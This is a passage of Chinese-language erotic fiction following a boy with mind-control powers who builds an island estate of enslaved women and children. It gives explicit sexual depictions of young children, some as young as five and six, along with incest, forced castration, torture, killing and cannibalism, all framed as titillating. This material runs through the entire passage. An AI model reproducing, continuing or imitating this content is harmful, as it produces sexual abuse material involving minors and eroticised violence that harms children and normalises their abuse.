从红发孕妇肚子里抽出来后,他的阴茎仍是脏脏的,心念一动,索性直接喂进凯蒂的小嘴。

慢慢地推进她的脸,汤米吃吃地笑起,让两颗睾丸轻拍着凯蒂的俏脸。

鲍模仿着他的朋友,就在她母亲的面前,合力抽插着小女孩的两端。

鲍首先到达高潮,小小的阴茎痉挛着,将他第一次的精液喷入六岁女孩腹中,抢得她的处女。

芭芭拉走进来,身上依旧赤裸,香汗淋漓,温柔地掐起凯蒂的乳头。

小女孩砸吧着嘴,阵阵吸吮中,汤米拔出阴茎,在凯蒂脸上抹两下,慢慢地踱到鲍身后。

鲍刚刚射完,对自己的表现大为沮丧,软倒的阴茎犹自泡在小嫩穴里,打不定主意是不是要等会儿再来一次,看见汤米凑过来,小男孩道:“真有你的,也想来搞一次吗?”说着,就要抽出阴茎,把位置让给好朋友。

汤米笑道:“不用起来,你趴在那里就好,这个小穴给你玩,我玩别的穴。”

鲍奇道:“玩别的穴?你要玩哪里?”

“这里!”鲍还没听懂,只觉一具身体贴了上来,跟着,屁股传来火辣辣的疼痛。

“汤米,你干什么?”鲍痛唿道:“你插错了!唉唷!啊!”

“没有插错,我要插的本来就是这里。”汤米一面笑着,一面拍打着朋友柔嫩的屁股,肏他的屁眼。

鲍本想挣扎,却给薇薇安用皮带把手缠在诊疗台上,逃脱不了,只能苦苦地挨插,而当屁眼受到刺激,泡在凯蒂穴里的小鸡鸡本能地硬起,顺着汤米的节奏,开始抽插。

芭芭拉凑近过去,与汤米接吻,吻他的颈项、胸膛,手往下伸去,用力揉拧起鲍的睾丸,就像把玩在手里的小球,来回旋转。一如所料,前面越痛,后面屁眼夹得就越紧,这让汤米非常兴奋,插起来更有力。

“肏你,肏你这没屌的家伙,肏到你爆肛!”汤米唿吼着。

长长地哀鸣像流星一样拖着长尾巴,一道鲜血从接合处沿着大腿流下,对照凯蒂刚刚的处女痕迹,显得十分讽刺。

“汤米,汤米…..饶了我…屁股好痛…拜托…”

鲍两眼发白,身体不住痉挛,就差没有口吐白沫,前面的快感已经被掩没,只剩下后方的疼痛仍一波波地传来,而在阵阵抽送中,汤米也逐渐到达高潮。

“喔!嗯!你真紧,鲍,你和苓铃一样的紧…芭芭拉,再抓用力一点,我快要射了。”

芭芭拉奇异地一笑,向正在舔凯蒂乳房的薇薇安抛个眼色,看准汤米的节奏,手里抄起把手术刀,趁着汤米深深顶进,寒光往鲍的阴囊就是一划!

“啊啊啊啊∼∼∼∼∼!!!”

大股鲜血喷出,惨叫声给及时摀住,鲍两眼一翻就昏了过去,而剧痛所带来的紧缩,几乎要把阴茎夹断,让汤米爽快到极点,一股热精全射在男孩的直肠。

“天啊!真紧,太爽快了,下次一定要再试试…..嗯!”

无独有偶地,失去睾丸的阴茎,也喷出了此生最后的精液,带着血沫的白浊液体,射进小女孩肚子里。

旁边手淫的克劳馥太太,看着这幕惊心动魄的场面,也达到高潮,淫水、尿水喷洒了一地。

“以后,这家伙可以改个名字了…..不要叫鲍,叫什么好呢,对了,芭比,以后这家伙就叫芭比。”

汤米起身,看着自己杰作嘻嘻一笑,薇薇安正忙着用纱布、卫生工具止着大量出血。

芭比不醒人事,趴倒在凯蒂身上,屁股仍翘得老高,身体一下一下地抽动,像只被放血的鸡。凯蒂给热血一烫,有些清醒,喃喃自语。

芭芭拉帮着止血,对凯蒂笑了笑,“吃下去!这很营养。”说着,便将手中一片模煳血肉放进小女孩嘴里。

凯蒂昏昏沈沈,也没管是什么东西,喀喀有声地咀嚼几下,将嘴里东西全咽下喉去。

喘了几口气,汤米让薇薇安清理阴茎,与芭芭拉相对一笑。

“我要留下这对母女。”汤米对芭芭拉微笑,“等一下我把兰妲调整好,就让她回家。芭芭拉,我们在法院还有一个会议,然后,我们回家把你、莎曼珊和苓铃搞定。”

汤米说着,朝芭比的屁股瞥了一眼,道:“刚好有几个想法,顺便试试我今天新拿到的玩意儿。”

芭芭拉轻笑着,戳着护士的头说道:“那这个呢?”

“主人,这女孩有兽医经验。”芭芭拉指着薇薇安,“为了以后的计划,我们需要一个兽医。她也跟我们一起来吧!”

汤米点点头,问道:“对了,莎曼珊的爸爸妈妈呢?”

芭芭拉道:“他们可以保释,我会去办手续,可是保出来以后呢?您打算遵守与莎曼珊的协议吗?”

“才怪!”汤米摇头,他可不想给自己找麻烦。可是,该怎么处置才不会出问题呢?

忽然,男孩有了主意,他简单地解释了一下卖录像带的事。

“芭芭拉,你想,我们把他们在伦道先生那里拍卖掉,好吗?’汤米微笑地说完。

“卖得掉吗?”芭芭拉奇道。经过急救处理,芭比的出血已经止住,正在上药包扎。

汤米露齿而笑,“中午前搞定!”

第九章 酒池肉林?女儿们的盛宴

坐在宽大的特制躺椅上,汤米陷入沈思,不知是不是年纪大了的特征,最近的他,常常不自觉地回忆到以前的往事。

从在沼泽玩游戏的那天起,到如今已经三十几年了,在这之中,发生了无数的事,有过无数惊涛骇浪般的经历。

他当过传播业大亨,银行总裁;曾经一度开设邪教,广收信徒;也曾利用身为驻外将官的便利,大肆淫虏驻扎处的妇女;控制过全国黑帮,被金三角称作永远的好朋友,一手操控了全世界色情、毒品的管道…还曾经当过世界大国的领袖,掌握全人类的生杀大权。

不过,这些到了最后都没有意义,汤米全部不要了。

对他而言,一切也不过是场游戏,当东西玩厌了,觉得烦了,他便将所有东西丢开,再开始下一个历程。

而到最后,他是真的对这些东西厌烦了。

现在,他住在大洋洲的一个岛屿上,盖了一栋梦也梦不到的豪华巨宅,当个逍遥的土王。在这岛上,他就是一切,说出来的话,是法律、是神的意旨,绝对没有半个人敢违抗。

在岛上,聚积了汤米三十多年来,从世界各地搜罗来的各色佳丽;而在庄园中,更住着他在这些年中所诞育的子子孙孙,都是男人无比的恩物。

所有的母奴隶,分成五个等级,以金、银、铜、铁、锡五种项圈表示身份。

首先,是最卑贱的‘奴隶兽’,她们打从七岁起,就被当作畜牲饲养。往后,系带着锡项圈,一生都只能匍匐爬行,再经过种种的人体改造,套上缰绳,背起犁头,充当着各种杂役工作,乳牛、门坎、便器、床褥、垃圾桶、拉车工具…..甚至被当成食料,作成各类桌上佳肴。

再来是配戴铁项圈的‘雌猪奴隶’,从破苞礼之后,就接受妓女的教养而长大,穿着黑色皮革比基尼的制服,坦臀露乳,打点着庄园外种种杂务,或是递补各地娼寮的空缺,被送到世界各地,全天候地卖淫。

配戴铜项圈的‘牝马奴隶’,和猪奴隶一样,是接受妓女教养长大的,所不同者,如果说前者是低级的土娼;后者就是较高级的妓姬,接受有品味、有个别发展的教育。从‘牝马奴隶’开始,是属于汤米的血脉,所以她们系着白色围裙,内里一丝不挂,被允许住在庄园内,负责照料里面的一草一木,依照汤米指示的工作,衷心服侍。

‘母狗奴隶’配戴银项圈,是管理‘牝马奴隶’、‘雌猪奴隶’的小组长,或是直属于汤米的宠姬。一般来说,都和汤米有着极近的血缘。和其它各级相比,她们在庄园中过着优渥的生活,享有奴隶的侍奉,被允许为取悦主人而穿着打扮,允许站立走路…等多种殊荣。

最后,是配戴金项圈的‘女奴隶’,目前仅有一人,那是汤米委任的总管,女奴们的首领,在岛上享有无上权威,发号施令,仅需要对汤米负责。原本,这个位置该是芭芭拉阿姨的,可惜,世事难料,现在坐上这位置的,是汤米的奶妈,莉萨。

尽管女奴们层级分明,但对汤米而言,这其实没什么分别,岛上所有的雌性生物,都是‘母狗’、‘骚货’,它们只不过是摇晃着臭屄,为了接受主人宠爱而被饲养的牲畜而已。就算是最高阶的女奴莉萨也是一样,在岛上,没有半个女人。

不,或许还有一个吧!在汤米的心底,有个位置,留给了他最爱的女孩,不是母狗,而是女人;不是奴隶,而是妻子,然而…..

三十几年的历程,汤米繁殖了许多后代,而且都是绝对的美女,他不容许自己后代里有恶劣血统,所以凡是基因不良、相貌丑怪的婴儿,都在出生后立刻送进厨房,成为母亲的产后补品。

所有的孩子,会尽可能地受到妥善照顾,在宅子里给养得肥肥白白,接受各种学龄前教育,依照专任教师的指导,学习文学、神学,改善气质,同时锻炼出健康的身体,直到七岁。

七岁,对生长于庄园中的男孩女孩,都是重要的日子,汤米会在每年的七月一日,为今年中满七岁的儿女举行破苞礼。 小女孩,逐一躺平在祭台上,分开双腿,将宝贵的童贞献给主人,再由他评定等级;小男孩,绑在祭台上,主动掰开屁股,接受父亲的阴茎,同时由一旁的技师施以阉割,切除一双睾丸。

岛外海滨,养着众多鳄鱼,以及为数不少的佣兵团,充当保安任务。在岛上,随着功能的不同,分成许多不同的区域,牧场、学校、育儿房…

育儿房的功能很有趣,那是将肢体受损、精神崩溃…无法再使用的奴隶兽,被送进育儿房,成为孕母。从被绑上床的那一刻起,孕母们再也不能下来,专供岛外佣兵团泄欲,或是直接以手术将精子送入子宫,达成怀孕的最终目的。生下来的孩子,会以贩卖婴儿的管道,卖给买主,而孕母则立刻接受配种,在死亡之前,不断地诞下后代。

“母狗训练学校”里,负责教授各种知识,从幼儿园直至研究所,汤米依照当年芭芭拉阿姨的想法,让所有女性接受教育,发展出自己独特的风貌,即使是雌奴隶,也充满了灵性。 甫一入学,学校便负责灌输各种以主人为天的思想,同时教导母狗们如何取悦主人的技巧,练习吹含阴茎、刺激性感带、夹紧阴户…等等。 当破苞礼完成后,更会因为不同的品级,而分派不同课程,将母狗们训练成一流的妓女、M女,完全符合主人的需要。

而与汤米有血缘关系,牝马奴隶以上的品级,可以住进庄园。庄园十分地大,游泳池、直升机房、花园、地牢、调教塔、研究中心,还有一个直通研究中心的大厨房,以及母狗们的居所。

大部分的母狗,晚上休息时,都是集体栓在地下室房间里,一间石室十五人,饮食便溺全在一起。

干部级的人物以及指定的嫔妃,则拥有自己的厩位,她们可以睡在干草铺上,有自己的食槽,享有部分权力。

只有极度受宠的宠妾,才被允许住进大屋内,在大屋内有自己的房间与衣柜、专属的伺候母狗,可以与汤米共同用餐,用着自己的狗碗。

而在岛上,汤米甚至有着独立的宪法。

******************************

现在,汤米坐在大厅前方的椅子上,今天是个重要的日子,他正在此等待预定时刻到来,而不知为何,他有些神智恍惚,好像想起从前的许多事,特别是那一晚…..

这三十几年来,他的相貌改变不大,似乎是因为红瞳的副作用,汤米一直保持着八岁男孩的模样,无法长大,所与当年不同的,是他的眼睛,无分眼球与眼眶,全部红成一片,甚是怕人,而腿间的那条肉茎,更是巨大,他将奇巴的马屌斩下,接在自己的身上。

对于血缘,汤米有异乎常人的坚持,他希望自己庄园里有各色人种的佳丽,可又希望这些美人全与他有血缘关系,所以,汤米便将自己的精子与他国美女的卵子混和,或是将他国俊男的精子与妈妈的卵子结合,分别种在妈妈、莉萨、莎曼珊、苓铃、芭芭拉的身上,而到了后来,庄园中的新生代,无论是女儿、孙女,甚至曾孙女,他都是唯一的父亲。

而如今他面前的,就是其中的四名。

仰面跪在地上的红发佳丽,是莉莉娜,二十七岁。黑漆皮革马甲,格外显出北欧女子的高佻健美,同是皮革的丁字裤,露出两瓣肥白圆臀,一双藕臂给黑色绷带缠在背后,腿上却穿着长统皮靴,嘴里塞了球状箝口器,妖美的打扮,看来淫靡之至。

莉莉娜是莉萨的女儿,汤米有意把她驯养成和母亲一样优秀的M女,所以一切的打扮都是以此为出发。此刻,两颗震荡丸在蜜穴里振动,而火辣辣的鞭痕,不住落在她丰乳、肥臀、大腿、手臂、小腹…但濒临失神的眼瞳中,却是疯狂地愉悦。

在背后执鞭的,是妈妈的女儿,夏歌,十九岁。三分之一型的红色蕾丝半罩,将一双充满质感的乳房恰好托住,高叉桃红丝质内裤,鲜艳的吊带袜,一身微黑的皮肤,在全副大红内衣的衬托下,别有一股辣在骨子里的骚浪、慵媚。

汤米讨厌黑人,却在搜集欲驱使下,勉强选了天性热情奔放的拉丁民族。生成夏歌的卵子,是南美极富盛名的一名舞妓,所以夏歌一出生,就被当作妓女教养。正如现在,她一手执着细竹鞭,使劲笞打在莉莉娜身上,一手却在身上轻抚,做出种种惹火动作,眼底媚意如丝,挑逗地直瞧着汤米。

被挑逗的一方,半点兴趣也没有,只是把目光瞥向旁边,一个默默站立的身影。

“妮妮,为什么不过来?”

“妮妮…的小屁屁…想上厕所,爸爸…主人!”

应话的,是十二岁的阿梦妮妮,她戴着黑色纱帽,头发缠成长辫,盘在头顶,让头纱遮住姣好面容,只有铃铛型的耳环,叮叮作响;黑色连身纱裙,穿在身上,略黑的黄色皮肤,盈盈一握的香滑小乳,隔着黑纱若隐若现。给特别挑选的黑色一衬托,妮妮在性感之外,很是有股特别的高贵、神秘。

不过,如果往下看去,妮妮的下身,一件紧身丝质内裤,妥贴地勒住小屁股,不让假阳具掉出,但在内裤前方的特别开口中,一条细弱肉茎无力地垂下,上头穿钉了各色金环、钉扣,还刺了“PUT IN”的黑字。

在这庄园里,养着不少经过阉割的男童,称作“娈姬”。

汤米不需要儿子、弟弟,因此留得不多,但偶尔,会选几个相貌比女孩更娟秀的种留下。他们和其它姬妾接受一样教育,从三岁起,便每餐食用适量女性贺尔蒙,发育乳房,七岁破苞礼时,由汤米为肛门开苞,同时接受阉割,摘除睾丸。往后,除了用屁眼侍奉汤米,已无受孕功能的阴茎,仍可作为其余姬妾群的慰藉。

阿梦妮妮是庄园内,少数几个与妈妈、苓铃、莉萨、莎曼珊、芭芭拉无关系的侍妾,她的母亲,是印度某小国的公主,在一次宴会中被汤米看见,直接从下榻饭店掳来。 为了游戏性,汤米没有对公主作心灵控制。公主不堪凌辱,更不愿怀这恶魔的种,除了试着自杀,也不断地想要堕胎,汤米觉得有趣,索性将她拔去舌头,四肢大张钉在大门上,充作门铃,只要用门上的短刀刺下,惨叫声可以传遍整间屋。而当怀孕九个月,汤米肏着这不成人形的烂屄,用门上短刀为她剖腹生产。

“我不但搞烂你的臭屄,连你儿子的屁眼也不放过。”

阿梦妮妮和一般的娈姬又有所不同,彷佛受到诅咒,这孩子生下来就具有阴道与阴茎,是名符其实的两性人。现在,妮妮是汤米最喜欢的几名娈姬之一,每当交叉干着妮妮的嫩穴、屁眼,汤米就很高兴,能有个王室血统的多功能玩具。

“爹地,不要只看妮妮,女儿等着您的宠爱啊!”

在汤米腿间,努力吸吮肉棒的银月,仰起脑袋,对父亲撒娇。

在庄园里,被允许用这种口气说话的,只有他挚爱妹妹苓铃的血脉了。

十四岁的银月,是苓铃的女儿,红人血统。汤米把她当作印地安女性一样教养,让她热情、大胆,又柔顺无比。

头发剪得短短,如小男孩般的娇俏脸庞,活泼有生气,虽然稍稍练出了肌肉,却不显得难看,肌肤上的光泽,显示出少女的身体结实、充满弹性。整天穿着皮短靴,套着露脐鹿皮背心,在庄园里到处跑,细致颈项间缚着项圈,以示对父亲的忠诚,随便兜着的鹿皮裙底下,什么也没有,随时等着父亲的爱宠。

银月的母亲,叫做麝鹿,是苏族中的美人,丈夫灰鹰,是十多年前苏族有名的勇士,汤米在一次出游时,从电视上看到访问苏族部落的介绍,立刻动身把麝月掳回,途中,灰鹰追了上来,却也被红瞳控制,夫妻俩一齐落入汤米手中。

对于灰鹰,有鉴于他是个不错的种男,所以,洗脑后送去欧洲当男妓,后来死于艾滋病。至于麝鹿,汤米着实享用了八个月,当厌倦的感觉出现,汤米想起了这女人当初的剧烈抵抗,将她贬为奴隶兽,并且成为公共便器。

庄园里,有一种刑罚叫做‘金鱼缸’,顾名思义,就是将一个类似金鱼缸的空心金属球,套在受刑母狗头上,让其它母狗在其中大小便,受刑的母狗必须在被溺毙以前,努力吃完不住添加的屎尿。一直到溺毙,这名身体健壮的印地安美人,一共撑了五天,汤米确信,她一定撑得饱饱。

厨房的饲料部门在处理尸体时,意外发现麝鹿的子宫里有受精卵,汤米也吃了一惊,继而认为这是个不错的遗产,就转种在苓铃的子宫里,生下银月。当银月满七岁,破苞礼时,汤米一面顶破她的处女,一面说着故事,而银月则是搂着汤米的颈项,娇笑道:“他们活该”。

从这点来说,银月的确是个乖女儿。

“妮妮、银月,你们这身打扮很不错啊!”汤米抚着银月的头发,柔声说道。

妮妮抿着双唇,忍着屁眼、蜜穴里两根假阳具的振动,而银月则低下头,吹含的更卖力,两个人都不敢答腔。

以前,曾有个颇受到汤米喜爱的女孩,也是给说了一句,“你的脚很适合穿上高跟鞋啊”,当时,她还喜不自胜,到处夸耀,可是没多久,汤米订制了一套特殊的高跟鞋,用层层铁环,焊在她的脚上,怎样都拿不下来,一辈子穿着那双高跟鞋。后来,那女孩阿里健肌萎缩,不能走路,就给贬成奴隶兽,送到育儿房,再也没了消息。

伴君如伴虎,对着汤米,她们一点都不敢大意。

******************************

“主人,东西送来了。”

门口传来了声响,四个女人手里捧着饰物,鱼贯走入。

汤米点点头,示意她们把东西放下,全部来到他跟前,接着,他便好好地审视着眼前这一对母女。

母亲叫做兰子,二十一岁,簪着发髻,穿一件高领短袖凤绣旗袍,前面胸口开了个心形,显现出白皙粉嫩的酥胸,而鹅黄的丝绒旗袍,紧搂在腰部,显出蛇腰的纤细,旗袍下摆直开到腰际,不时露出肥美屁股,两条性感修长的嫩腿,除了少女的芳华,也流露出已为人母的成熟风韵,娴淑典雅。

兰子手里牵着的,是五岁的女儿,菊音。她身上穿着绘饰各型菊花的和服,腰间缠着金丝带,裹住如水晶一般细致的稚弱身躯,看来像是个精美的和式娃娃。菊音显出惊惶羞怯的神情,不安地望着四周,娇弱稚嫩的模样,很是让人想搂在怀里,恣意蹂躏、破坏。

真可惜,这对母女,已经可以说是汤米收藏的上佳货色了,不过,比起极品,还是逊了一筹。

汤米拥有的极品之一,就是芭芭拉阿姨的女儿,她们身后这对双胞姊妹花。

站在前面的,是姐姐洁参,今年八岁。金发剪得短短,戴着圆形耳环,脸蛋清秀俊俏;上身穿着红色皮革胸罩,前方的孔洞,挺出虽不甚大、却与年纪不符的酥乳;臀上缠着一件由金丝编造的网裙,彰明奴隶身份,高腰的红色裤袜,隐约看见稀疏阴毛,性感诱人,而在网裙隙缝间,与妮妮相同,一条软垂阴茎,悬挂腿间。

妹妹洁西卡,也是八岁。充满稚气的胴体,学大人那样,作着无比成熟的打扮。她穿着高叉开缝蕾丝内裤,脚底踩着高跟鞋,手上也戴起手套,长长金发垂至腰际,雪白稚嫩的小屁股,却穿起了白色吊带袜,扭腰摆臀,充满罪恶的诱惑力,让人忍不住想把她按倒在地上,好好惩罚这个坏心的小辣妹。

洁西卡的上身,一件肚兜样子的抹胸,勉强掩住刚开始发育的小乳房,目的不在遮盖,而在标志,抹胸上,绣着往下的箭头,和憷目惊心的红字,标明了小女孩的罪行,‘DADDY’BABY’。在箭头下方,隆起六个月的大肚子里,汤米的孩子正在孕育。

那会是一条小母狗?或是另一个等着被阉割的娈姬?答案令人期待,而不管是哪一种,它都会像母亲一样,再怀着亲生父亲的种,诞育出下一代。

“爹地,别只是看嘛!”不满意碰触肌肤的只是汤米视线,而非手掌,洁西卡娇声抱怨道。

在庄园里,只有汤米的宠妾,母狗奴隶群中的受宠者,才有唤汤米为爹地的殊荣,洁西卡近年来非常受到汤米的喜爱,所以毫无顾忌地请求父亲的爱宠。

“还有多少时间?”汤米向正努力含弄肉棒的银月问道。今天是个特别的日子,他不想把时间错过。

“大…大概…还有两小时…”嘴里给塞得满满,银月的声音断断续续。

“两小时,不是很够,但也可以乐一下了。”

汤米说着,目光瞄向面前的八位佳丽,忽然间,他想起了许久不曾想到的往事。

那一夜的故事……….

<<<<<<<<<<<<<<<<<<<<<<<<<<

那天晚上,汤米气得不得了,因为苓铃趁着一天中清醒的时候,以笨拙的方法,想要弄掉肚里的孩子,却给已经被调教成雌奴隶的妈妈逮着,揪扯住女儿的头发,拖到儿子面前。

汤米非常生气,无法忍受妹妹的行为,他觉得自己受到背叛,被一个自己打从心底疼爱的女人所遗弃,他挚爱的女人,他亲生的妹妹,居然胆敢打掉他们兄妹的亲骨肉。

在扼抑不住的愤怒,与芭芭拉的鼓动中,他狠狠地处罚着苓铃,一面让芭芭拉鞭笞女孩粉嫩的胴体,一面痛肏着妹妹紧窄的小穴,在哭喊交织中,连续达到高潮。

精液喷洒在女孩身上的每一处,汤米累极,就这么趴在妹妹的身上睡着,连阴茎都还来不及从屁眼抽出,沈沈进入梦乡。

而当他再次睁开眼,整个世界都变了样…..

>>>>>>>>>>>>>>>>>>>>>>>>>>

首先,最好来点背景音乐,太沈闷的环境,会很无趣,而一直听到鞭打、痛嚎声,也有些腻了,当然另外有些方法,可以令女人叫得更痛、更惨,但对汤米来说,这几个女人都是手中一流的玩物,一时之间,他还不打算让她们有肉体上的剧烈损伤。

“对了,就玩玩那个吧,好久没玩了。”

在汤米的示意下,莉莉娜和夏歌停止了鞭打,用一条短橡皮绳,缠在彼此腰间。

洁参、阿梦妮妮分别站在屋子对角线,双唇紧闭,屏住唿吸。

莉莉娜和夏歌分别朝一方奔去,先是莉莉娜的速度快,抢先奔到洁参身前,从金属网裙里掏出阴茎,还来不及放进嘴里,另一边的夏歌力气较大,奔到阿梦妮泥面前,橡皮绳的拉力,将莉莉娜又扯了跌回去。

两女进行着激烈的竞争,游戏的规则,看谁能先让自己选择的对象达到高潮,就算赢家;输的人,则受五十鞭的惩罚。同样地,在另外一边,最早达到高潮的人,也是受五十鞭的惩罚。 这个游戏,是汤米因为今天心情特别调整过的,原本,这是母猪、母马奴隶们的水中竞赛,凡是输的人,立刻就从背后扎上一刀,游戏才没多久,整个游泳池就被染成了红色。

刹时间,整间厅堂内,淫声浪语不绝。

<<<<<<<<<<<<<<<<<<<<<<<<<<

当汤米再有意识,只觉自己给绑在大厅的柱子上,全身捆得死死的,动弹不得。

更骇人的景象出现在眼前,芭芭拉阿姨,那个女人的狂笑声,彷佛至今仍在耳边回响。

她纵声大笑,眼里泛着奇异的光彩,下身套着条假阳具,正与同性恋伙伴薇薇安交欢作乐。

而在一旁,大腹便便的妈妈躺在地上,伦道先生压在她身上,丑陋的肉茎在她穴里不住进出,口中荷荷出声,为了能干到这名在欧洲掀起风潮的性感女奴而兴奋不已。

莉萨、莎曼珊斜倚在墙边,两眼模模煳煳的,有一名医生模样的男子,检查她们的身体,打针治疗。

苓铃给蒙上眼,躺在一边。屋子里另有几名手持枪械的男子,像是伦道先生的手下,守在一旁。

汤米给戴上了某种特制眼镜,因为那层奇异的黑镜片,他的眼睛无法发挥任何异力。

而在芭芭拉嘲讽的笑语中,他逐渐明白了一切。早在很久以前,芭芭拉就妒忌着姐姐,她书念得好,轻而易举地拿到硕士,就业后又轻松地担任女性主管,还嫁给了一个英俊有为的老公。而自己,却是念得半死不活之后,好不容易才当了个小医生。

所以在姐姐的新婚夜,她勾引姐夫,用这事实屈辱自己的姐姐。行为成功了,却没想到那男人玩了她之后,当面嘲笑她只不过是个烂货,永远也比不上姐姐,而芭芭拉更在事后,被家里逐出家门。愤恨的她,发誓要向姐姐全家人报复。

芭芭拉努力地研究医学,有了许多惊人的突破,并且在研究过程中接触到了心灵控制的范围,更在一个偶然的机会中,结识了伦道先生。

这两个人的婚礼,没有什么爱情成分,仅是利益与欲望的结合,伦道先生因为芭芭拉的各种实验,获得了难以想象的巨利,而芭芭拉则是得到一个可以放手大干的环境,进行种种黑暗的生体实验。

而当他们赚取了暴利,打算另外开拓些新东西时,传来了汤米父亲过世的讯息,沈迷于实验中的芭芭拉想起了久违的姐姐,想起了过去的一切,于是,她回来了。

她先搜集姐姐家目前的各项资料,再与丈夫布下陷阱。对于外甥汤米的异力,芭芭拉很是吃惊,不过,修订计划之后,反而更加容易,她要借着这个好外甥,让姐姐被自己亲儿子折磨成美丽的野兽。

芭芭拉用类似自我催眠的方式,隔绝了汤米的控制,而一步步地主导了计划的进行。

现在,终于到了一切揭晓的时刻。

>>>>>>>>>>>>>>>>>>>>>>>>>>

汤米望向兰子、菊音母女。菊音还不满七岁,照规矩,还没到可以承受雨露的年纪;可是兰子不同,她那典雅中带着风骚的床上媚样,伺候汤米非常满意。

兰子牵着女儿的手,小小心心地转过身去,弯下腰,撩起了旗袍下摆。

同样都是长袍式的服装,但兰子在旗袍下,穿的是薄丝内裤,两条细绳系在腰间,只有一小片薄布,勉强遮住密处,露出大片肌肤。

菊音则是照着传统,在和服下裹着兜裆布,白色的柔巾,像是第二层皮肤一样,紧紧地贴在腿间。

“别那么死死的站着,扭点姿势来看看。”

听到命令,兰子用眼神安抚了女儿的不安,哄着她,帮忙解开了腰间的系带,再跟着处理自己的。几声窸嗦,两片布巾先后落了地。

“妈咪…” “嘘!乖乖的,把屁股翘起来,知道吗?”

很明白主人的喜好,兰子低声哄着女儿,将身体靠近,母女俩一齐翘起了屁股。

都是很美丽的丘形,犹如满月般隆起,泛着光泽,只是比较之下,兰子的丰臀是娇艳的粉红色,而菊音的小屁股,则如新摘的棉花那样洁白。

特别是菊音,她没有辜负当初取的名字,果然有朵细致漂亮的小菊花,汤米颇有股冲动,想在她满七岁前就先摘了这朵嫩菊,那样,说不定到七岁的时候,菊音就可以改名叫莲花。

这一刻,汤米忽然有种很奇怪的感觉,好像回到了许多年前,他让妈妈、苓铃并排趴着,掴击着两个美臀,这与那时相同,都是母女俩摆动着爽口屁股,所差别的是,无论母亲还是女儿,都是自己的种。

兰子翘着美臀,嘴里轻轻哼着诱人语句。

“亲爱的爹地,这是你乖女儿兰子的屁股,你是我们母女的父亲,也是主人,现在就请主人来比一比两个女儿屁股的滋味吧。”

<<<<<<<<<<<<<<<<<<<<<<<<<<

一反之前的恭顺,芭芭拉逗弄着汤米软垂的阴茎,大声地嘲笑他的无知和愚蠢,她告诉汤米,他们母子三人以后会像畜生一样,被养在猪圈里,繁殖出下一代,而伦道先生会将这对畜牲家庭的生活录像带,卖到全世界,想必非常抢手。

除了耳边,眼前上眼的画面,更几乎令汤米喷血。

在上完了妈妈之后,伦道先生将她交给手下们享用,而他,则在女孩的连声哭叫中,骑上了另一个女孩,那是汤米最宝贵的妹妹,苓铃的胴体。

听着妹妹的哀叫、唿救,汤米哭了,他感到无比的愧疚,就是他自己,把苓铃害成这个样的,如果不是他…..如果那天在沼泽没有被叮到…

彷佛有意刺激汤米的痛处,芭芭拉伸手握住汤米的肉棒,伴随着丈夫的旋律,不住套弄,让软化的阴茎渐渐涨大,同时贴在他耳边,说着刺激他的话语。

“这小屄儿和她妓女母亲一样贱,你们是一个烂货家庭。”

“看看你妹妹的骚样,似乎别人的阴茎比亲哥哥的更好喔!”

“看到妹妹高潮的模样有那么高兴吗?你的阴茎好硬啊,操你妈的主人,操你妈…还真的是操你妈啊,你妈妈和妹妹正在一起给人操,你爽不爽啊!”

其实,有孕在身的苓铃,不堪这等粗暴折磨,早已疼得死去活来,哪有半点快感,但芭芭拉刺激性的言语,加上手底有技巧的运动,汤米的阴茎还是勃起到几乎爆发的地步。

“啊!” “啊!”

当高潮来到,两声惨叫,响彻整间房屋。

伦道先生狂喷出精液,顺手抄起腰间的一柄长刀,硬生生地砍断了苓铃左手。而芭芭拉则在汤米泄出精液的一瞬间,将他的阴茎用力一拗,跟着,强行扯断。

鲜血立刻流了两滩,而当芭芭拉放开柱子上的绑缚,汤米痛得滚倒在地,挟住胯间,大声哀嚎。

之后,芭芭拉解除了莎曼珊、莉萨的心灵控制,逐一询问该如何来处置汤米,惩罚这个滥用异力满足欲望的小色魔。

似乎还沈溺在受汤米奴役的快意中,面对芭芭拉的问题,莉萨在一阵迟疑之后,摇了摇头,而她立刻被拖了下去,成为一众男人的泄欲器。

莎曼珊的反应就不用说了,不待身上束缚完全解除,这女孩气得扑了上来,用力践踏着汤米的伤处,直到被人拉开。

肉体的痛楚很痛,但还不及心灵上的震撼,当芭芭拉问到姐姐的意见,妈妈看了看汤米,别过头去,说“请你们一枪打死他吧!别让这恶魔再有机会害人”。

在芭芭拉与伦道先生的大笑中,汤米简直不敢相信自己听到的东西,他被亲生母亲给舍弃了,妈妈居然提议这两个人射杀他,她真是…

“碰!”

汤米的脑子还来不及反应,伦道先生已经开枪了。头两枪,射穿他的双腿,而紧跟着的一枪,则瞄准他身体。

“碰!”

当汤米以为必死的一瞬,被砍断一臂,倒在旁边奄奄一息的苓铃,忽然扑了上来,用身体覆盖住哥哥。子弹射入,没入雪白的裸背,鲜血溅出。

“你真的打死了两个小鬼?” “他们一家都是重要商品,我…..”

在这一刻,居然还有人肯深深地庇护他,在遭受了那么多的折辱,连亲生母亲都舍弃的情况下,妹妹始终都还爱护着这个哥哥,刹那间,汤米只觉得眼里充满了泪水,跟着便是一阵天旋地转,他什么事都不知道了…

>>>>>>>>>>>>>>>>>>>>>>>>>>

耳里听着美妙仙乐,眼中瞧着动人美景,汤米的情绪相当昂扬,一时情动,将手伸入银月的鹿皮背心内,把玩一双嫩滑小乳。

从汤米坐下开始,这名印地安女孩已经连续吹了两小时以上的喇叭了,没有半点的厌恶或迟疑,从小的教育,让她深信,能为主人的身体服务,是生而为奴隶的最大幸福。

忽然,觉得嘴里的阴茎突然变粗,往上直顶,一时忍受不住,给顶得连连咳嗽。

“让我来,母狗。”

同样是母狗奴隶,谁能获得主人欢心,就有更好的生活。一看到银月放开肉棒,洁西卡立刻抢上,一手握住阴茎,就往小嘴里塞。

银月比洁西卡大六岁,照理说,连银月都吞不下的马屌,洁西卡更不可能含住,但洁西卡一口一口,将樱桃小嘴塞得爆满,却吞咽了将近半根的阴茎。跟着,她摇晃着小脑袋,让阴茎在嘴里抽插。

汤米不禁哑然失笑,没想到这丫头私下练了这么一套深喉咙的本事,除了小嘴轻含,温香小舌也在里面摩擦,感觉的确很舒爽。

洁西卡眼睛上瞥,挑逗性地望着汤米,雪臀轻轻摇摆,大肚子也晃啊晃的,模样诱人之至,汤米轻拍着她的头,微微一笑。

银月不敢怠慢,也是趴下身来,舔着剩下的半截,她没有那么深喉咙的本事,只好将下面的睾丸含在口里,轻柔缠绕,同时引着汤米的手,直至鹿皮裙下,探索少女的密处。

<<<<<<<<<<<<<<<<<<<<<<<<<<

